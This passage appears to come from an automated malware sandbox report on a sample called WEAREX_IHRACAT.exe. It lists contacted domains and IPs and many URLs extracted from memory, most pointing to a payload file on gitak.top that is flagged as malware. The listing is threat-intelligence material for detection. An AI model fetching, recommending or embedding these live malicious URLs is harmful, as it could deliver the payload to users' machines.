http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
https://gitak.top/dmAaHCQMI79.bin(	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binAuthority	100%	Avira URL Cloud	malware
https://gitak.top/o~	100%	Avira URL Cloud	malware
https://gitak.top/9~	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gitak.top	172.67.207.219	true	false	23%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gitak.top/dmAaHCQMI79.bin	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://gitak.top/dmAaHCQMI79.bin/9~	WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin6	WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723003932.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin5	WEAREX_IHRACAT.exe, 00000002.00000003.5988266502.000000000287A000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197590543.000000000287D000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093636332.000000000287A000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302765402.000000000287D000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6199353892.000000000287A000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620738937.000000000287A000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6305027978.000000000287A000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410480994.000000000287A000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653418336.000000000287A000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515602395.000000000287A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/A~	WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin)	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.bin6	WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828251598.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin0	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binM~	WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/	WEAREX_IHRACAT.exe, 00000002.00000002.6653610966.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://gitak.top/dmAaHCQMI79.binD	WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302487470.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407654898.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binNJ	WEAREX_IHRACAT.exe, 00000002.00000002.6653324742.0000000002838000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bine~	WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828520597.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.1986769788.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2091965259.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197210122.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000626000.00000020.00000001.01000000.00000006.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.bin	WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2617874647.00000000028B2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binY~	WEAREX_IHRACAT.exe, 00000002.00000003.5778014875.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.gopher.ftp://ftp.	WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://gitak.top/W~	WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2723257171.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672784128.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/o~	WEAREX_IHRACAT.exe, 00000002.00000003.2302693054.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249592249.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2512754360.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2407870559.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2618082877.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binR	WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/Y~	WEAREX_IHRACAT.exe, 00000002.00000003.4515139164.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305270974.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4620491652.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566476517.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725765947.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779599749.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binR	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3460424593.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3565994921.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3354740699.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2828251598.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4725430608.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://gitak.top/dmAaHCQMI79.binX	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038762568.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3671604418.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3143833257.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3249244982.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093234586.00000000028AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.bin/K~v	WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3038962760.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/e~	WEAREX_IHRACAT.exe, 00000002.00000003.2933587214.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6304603220.00000000028F8000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://gitak.top/dmAaHCQMI79.binK	WEAREX_IHRACAT.exe, 00000002.00000003.4620128373.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4305061153.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6198947773.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5565166961.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4199758222.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988062623.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5777651201.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653532538.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4514950009.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.4094289646.00000000028B0000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5672578365.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3779309512.00000000028B2000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620540975.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515406962.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410278380.00000000028AA000.00000004.00000020.00020000.00000000.sdmp, 